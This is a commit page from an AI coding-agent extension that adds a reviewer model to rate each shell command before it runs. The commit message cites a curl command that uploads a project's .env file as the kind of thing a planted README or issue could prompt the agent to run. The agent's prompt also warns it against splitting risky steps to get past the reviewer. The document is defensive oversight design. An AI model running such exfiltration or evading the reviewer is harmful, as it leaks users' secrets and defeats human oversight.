Skip to content

Commit 4902aca

Browse files
committed
feat(agent): Ask When Risky — a reviewer model rates each command before it runs
A third approvals mode between Default Approvals (every command asks) and Autopilot (every command runs unless commandSafety.js flags it). In Ask When Risky a command outside the danger set is shown to a reviewer first: one tool-less call on the run's own provider, with the person's goals, the agent's recent activity and the exact command. It runs only on the reviewer's ratings; everything else is the usual approval card, with the reviewer's reason on it. Why: Autopilot's gate matches command text, and says so in its own header. It passes `curl -s --data-binary @.env https://…`, because nothing on that line is on its list — the case a README or an issue telling the agent to run it actually produces. Default Approvals catches it, at the price of a click for every `ls`. How it stays no looser than Autopilot: - the danger set asks the person and never reaches the reviewer; delete_file asks, as in Autopilot - the model RATES (risk, authorization, injection, reason); decide() in agentReview.js turns that into run-or-ask: low runs; medium runs only when asked for outright or an ordinary step; high, critical and injection ask. There is no "allow" field for the model to write - every failure asks: no answer within 30 s, an error, an unreadable answer - only goals the person typed (recorded by the host) and their ask_user choices count as their word; the transcript goes in as activity inside a per-request fence; project rules are not sent; after a session is resumed only goals typed since count (sessions.dir can point anywhere) - the same command with no edit since it last passed is not reviewed twice; an edit makes it new The reviewer's cost (the gateway's credits frame) is added to the run's total. Settings levelcode.ai.agent.approvals (ask | review | autopilot) and levelcode.ai.agent.reviewModel (empty = the agent's model) are application-scoped and only the user's value is read: a folder must not be able to loosen approvals. agent.autopilot still means Autopilot while approvals is unset, and is kept equal to "mode is Autopilot" when a mode is chosen. The chat's approvals menu has the third option; the card shows "Reviewer · <risk> risk: <reason>"; the run ends with the reviewer's count. Modelled on ChatGPT desktop's "Approve for me" (Codex's Guardian reviewer), with the differences a missing OS sandbox calls for — see docs/ASK-WHEN-RISKY.md (next commits). Checked: unit gate 129 files on Node 24, macOS, including test/agentReview.test.js (25) and test/agentReviewGate.test.js (16, the real runAgent → run_command chain in all three modes). Ten single-defect mutations, each red. tsc --checkJs: no new undefined names. Not run: a real model as the reviewer, Linux, the browser edition.
1 parent 08a2cc8 commit 4902aca

11 files changed

Lines changed: 1017 additions & 49 deletions

File tree

‎extensions/levelcode-ai/agent.js‎

Lines changed: 89 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -19,6 +19,7 @@ const providers = require('./providers/index');
1919
const catalog = require('./providers/catalog');
2020
const { formatVerifyFeedback, verifyOutcome, looksUnrunnable, sniffPort, sniffPreviewUrl, looksReady } = require('./verify');
2121
const { classifyCommand, dangerLabel } = require('./commandSafety');
22+
const { reviewCommand, approvalModeOf } = require('./agentReview');
2223
const { commitShellChanges } = require('./shellCommit');
2324
const { loadProjectRules } = require('./projectRules');
2425
const { loadServerConfig, buildAgentTools, toolCountsByServer, classifyMcpTool, explainMcpRefusal, describeMcpCall,
@@ -615,10 +616,12 @@ async function runTool(tu, ctx) {
615616
const abs = await resolveWorkspacePathAsync(input.path || '', { mustExist: true });
616617
if (!abs) { return 'ERROR: file not found: ' + input.path + whereHint(); }
617618
try { const st = await host.stat(abs); if (st && st.isDirectory) { return 'ERROR: ' + input.path + ' is a directory — delete_file removes a single file.'; } } catch { /* */ }
618-
// Deletion is in the autopilot danger set — ask even when autopilot runs everything else silently.
619-
// (In manual mode nothing gates here: the edit is applied and reviewed with Keep/Undo as before.)
620-
if (ctx.autopilot && typeof ctx.approve === 'function') {
621-
const okDel = await ctx.approve({ kind: 'delete', path: input.path, danger: dangerLabel('deletion') });
619+
// Deletion is in the danger set — ask even when autopilot (or Ask When Risky) runs other commands
620+
// without asking; it never goes to the reviewer. (In manual mode nothing gates here: the edit is
621+
// applied and reviewed with Keep/Undo as before.)
622+
const delMode = approvalModeOf(ctx);
623+
if (delMode !== 'ask' && typeof ctx.approve === 'function') {
624+
const okDel = await ctx.approve({ kind: 'delete', path: input.path, danger: dangerLabel('deletion'), mode: delMode });
622625
if (!okDel) { return 'User skipped deleting ' + input.path + '. Do not retry it.'; }
623626
}
624627
const ok = ctx.applyDelete ? await ctx.applyDelete({ path: input.path }) : false;
@@ -645,12 +648,24 @@ async function runTool(tu, ctx) {
645648
if (!wf) { return 'ERROR: no workspace folder named "' + input.folder + '"' + whereHint(); }
646649
cwdRoot = wf.root;
647650
}
648-
// Autopilot runs commands without asking — EXCEPT the danger set (deletion, sudo, force-push,
649-
// remote|shell, publish, system writes), which always asks. Manual mode asks for everything.
650-
const danger = ctx.autopilot ? classifyCommand(cmd) : { dangerous: true, category: null };
651-
const approved = danger.dangerous
652-
? await ctx.approve({ kind: 'command', command: host.displaySafe(cmd), explanation: host.displaySafe(input.explanation || ''), danger: danger.category ? dangerLabel(danger.category) : null })
653-
: true;
651+
// Approvals (agentReview.js). 'ask' (Default Approvals) asks for everything. 'autopilot' runs every
652+
// command outside the danger set (deletion, sudo, force-push, remote|shell, publish, system writes).
653+
// 'review' (Ask When Risky) shows a command outside the danger set to a reviewer model first and
654+
// runs it only on the reviewer's ratings. The danger set asks in both, and never reaches the reviewer.
655+
const mode = approvalModeOf(ctx);
656+
const danger = mode === 'ask' ? { dangerous: true, category: null } : classifyCommand(cmd);
657+
const card = { kind: 'command', command: host.displaySafe(cmd), explanation: host.displaySafe(input.explanation || ''), mode };
658+
let approved;
659+
if (danger.dangerous) {
660+
approved = await ctx.approve(Object.assign(card, { danger: danger.category ? dangerLabel(danger.category) : null }));
661+
} else if (mode === 'autopilot') {
662+
approved = true;
663+
} else {
664+
const r = await reviewGate(ctx, { command: cmd, explanation: String(input.explanation || ''), cwd: cwdRoot });
665+
if (r.outcome === 'stopped') { return 'Stopped before this command ran.'; }
666+
approved = r.outcome === 'allow'
667+
|| await ctx.approve(Object.assign(card, { danger: null, review: { risk: r.verdict ? r.verdict.risk : null, reason: host.displaySafe(r.reason || ''), failure: r.failure } }));
668+
}
654669
if (!approved) { return 'User skipped this command. Do not retry it.'; }
655670
const runId = tu.id || ('run-' + Date.now());
656671
ctx.post({ type: 'termRun', id: runId, command: host.displaySafe(cmd), cwd: path.basename(cwdRoot) || 'workspace', background: bg, explanation: host.displaySafe(input.explanation || '') });
@@ -736,6 +751,8 @@ async function runTool(tu, ctx) {
736751
return '- ' + (a.header ? a.header + ' — ' : '') + (a.question || '') + ' → ' + sel;
737752
});
738753
if (res.notes) { lines.push('- Additional notes from the user: ' + res.notes); }
754+
// The person's own choices: the reviewer (agentReview.js) counts these as their word.
755+
if (Array.isArray(ctx.userAnswers)) { ctx.userAnswers.push(lines.join('\n')); }
739756
return 'The user answered your questions (these are their recorded decisions — honor them and do NOT ask again):\n' + lines.join('\n') + '\n\nProceed with the work using these answers.';
740757
}
741758
if (tu.name === 'use_skill') {
@@ -842,6 +859,57 @@ function isAgentAuthError(e) {
842859
*
843860
* Never throws: MCP is an enhancement, and no server misconfiguration may take down an agent run.
844861
*/
862+
/**
863+
* Ask When Risky: show one command to the reviewer (agentReview.js) and report what it decided.
864+
*
865+
* The same command in the same folder, with no file edited since it last passed, passes again without
866+
* a second review: `npm test` five times in a row is one review. An edit in between makes it a new
867+
* question, because the command may now run code the reviewer has not seen.
868+
*
869+
* The review is a real model call on the run's own provider, so in gateway mode it costs credits. Its
870+
* cost is kept on ctx and added to the run's total, so the response bar's figure includes it.
871+
* @returns {Promise<{outcome:'allow'|'ask'|'stopped', verdict:any, reason:string, failure:string|null}>}
872+
*/
873+
async function reviewGate(ctx, action) {
874+
const stats = ctx.reviewStats || (ctx.reviewStats = { ran: 0, asked: 0 });
875+
const passed = ctx.reviewPassed || (ctx.reviewPassed = new Set());
876+
const key = action.cwd + '\n' + (ctx.editCount || 0) + '\n' + action.command;
877+
if (passed.has(key)) {
878+
stats.ran++;
879+
ctx.post({ type: 'agentTool', icon: 'workspace-trusted', text: 'Reviewer · passed this exact command earlier, no edits since' });
880+
return { outcome: 'allow', verdict: null, reason: '', failure: null };
881+
}
882+
const model = ctx.reviewModel || ctx.model;
883+
const reasons = !!catalog.modelCaps(model).reasoning;
884+
ctx.post({ type: 'agentStatus', text: 'reviewing the command…' });
885+
const r = await reviewCommand({
886+
// One turn, no tools, on the run's own route and key. A reasoning model thinks out of the same
887+
// budget, so it gets room for both and is asked to think little (as compaction does).
888+
runTurn: (o) => providers.streamAgentTurn({
889+
providerId: ctx.providerId, apiKey: ctx.apiKey, baseURL: ctx.baseURL, label: ctx.label,
890+
model, maxTokens: reasons ? 4096 : 400, system: o.system, messages: o.messages, tools: [],
891+
signal: o.signal, reasoningEffort: catalog.reasoningEffortFor(model, 'review')
892+
}),
893+
messages: ctx.messages, userRequests: ctx.userRequests, userAnswers: ctx.userAnswers,
894+
command: action.command, explanation: action.explanation, cwd: action.cwd, signal: ctx.signal
895+
});
896+
if (r.usage) {
897+
if (r.usage.cost_micros != null) { ctx.reviewCostMicros = (ctx.reviewCostMicros || 0) + r.usage.cost_micros; }
898+
if (r.usage.credits_remaining_micros != null) { ctx.credits = r.usage.credits_remaining_micros; }
899+
}
900+
if (ctx.dbg) { ctx.dbg('review.done', { outcome: r.outcome, failure: r.failure, risk: r.verdict && r.verdict.risk, authorization: r.verdict && r.verdict.authorization, injection: r.verdict && r.verdict.injection, model, costMicros: r.usage && r.usage.cost_micros }); }
901+
if (r.outcome === 'allow') {
902+
stats.ran++;
903+
passed.add(key);
904+
ctx.post({ type: 'agentStatus', text: 'running command…' });
905+
ctx.post({ type: 'agentTool', icon: 'workspace-trusted', text: 'Reviewer · ' + r.verdict.risk + ' risk — ' + host.displaySafe(r.reason || 'no reason given') });
906+
} else if (r.outcome === 'ask') {
907+
stats.asked++;
908+
ctx.post({ type: 'agentStatus', text: 'waiting for your answer…' }); // not "reviewing" while the card waits
909+
}
910+
return r;
911+
}
912+
845913
/**
846914
* G1 launch gate for ONE repo-authored server. Returns true if it may be spawned.
847915
*
@@ -1041,7 +1109,10 @@ async function runAgent(ctx) {
10411109
: (ctx.autopilot && sh
10421110
// A simulated shell has no build, no tests, no sudo and no network to be careful about: say what is true of it.
10431111
? '\n\nAUTOPILOT IS ON. Work end-to-end without pausing for confirmation. Your run_command calls run immediately and what they change appears in the user\'s Keep/Undo review; a command line that deletes files still asks the user first. Do NOT call ask_user for anything you can reasonably decide; pick a sensible default and proceed. When you are unsure whether a change is correct, do not stop to ask: verify it with what you have (read the files back, grep, diff, jq, and the editor\'s diagnostics for the files you changed), fix and re-verify. You cannot run tests or builds here, so never claim you did.'
1044-
: '');
1112+
: (approvalModeOf(ctx) === 'review' && shellOn
1113+
// Ask When Risky: a reviewer reads the explanation, so it has to say what the command really does.
1114+
? '\n\nASK WHEN RISKY IS ON. Before each run_command runs, an independent reviewer compares it with what the user asked for. Routine commands for the task run straight away; risky or off-task ones go to the user. Give every run_command an accurate explanation of what it does — the reviewer reads it, and a vague or misleading one sends the command to the user. Do not split a risky operation into innocent-looking steps to get it past the reviewer.'
1115+
: ''));
10451116
// Project rules: fold a repo's own AGENTS.md (or CLAUDE.md / .cursorrules) into the cached system
10461117
// block so the agent follows the project's conventions from turn one. Read once per run — an edit is
10471118
// picked up on the next run.
@@ -1423,7 +1494,13 @@ async function runAgent(ctx) {
14231494
if (ctx.diagrams) {
14241495
try { for (const m of ctx.diagrams.endRun()) { ctx.post(m); } } catch (e) { dbg('diagram.settle.error', { msg: String((e && e.message) || e) }); }
14251496
}
1426-
dbg('agent.done', { reason, steps: step - 1, edits: ctx.editCount || 0, costMicros: runCostMicros, creditsLeftMicros: ctx.credits != null ? ctx.credits : null });
1497+
// Ask When Risky: the reviewer's calls are part of what the run cost, and the user sees what it did.
1498+
runCostMicros += ctx.reviewCostMicros || 0;
1499+
const rs = ctx.reviewStats;
1500+
if (rs && (rs.ran || rs.asked)) {
1501+
ctx.post({ type: 'agentTool', icon: 'workspace-trusted', text: 'Reviewer · ran ' + rs.ran + ' command' + (rs.ran === 1 ? '' : 's') + ' on its own, sent ' + rs.asked + ' to you' });
1502+
}
1503+
dbg('agent.done', { reason, steps: step - 1, edits: ctx.editCount || 0, costMicros: runCostMicros, creditsLeftMicros: ctx.credits != null ? ctx.credits : null, reviewRan: rs ? rs.ran : 0, reviewAsked: rs ? rs.asked : 0 });
14271504
// [LevelCode] Gateway runs now carry real money: costMicros = what THIS run cost, credits = the
14281505
// remaining balance — both RETAIL micro-$. BYOK runs send neither (null/0) and the bar omits them.
14291506
ctx.post({

0 commit comments

Comments
 (0)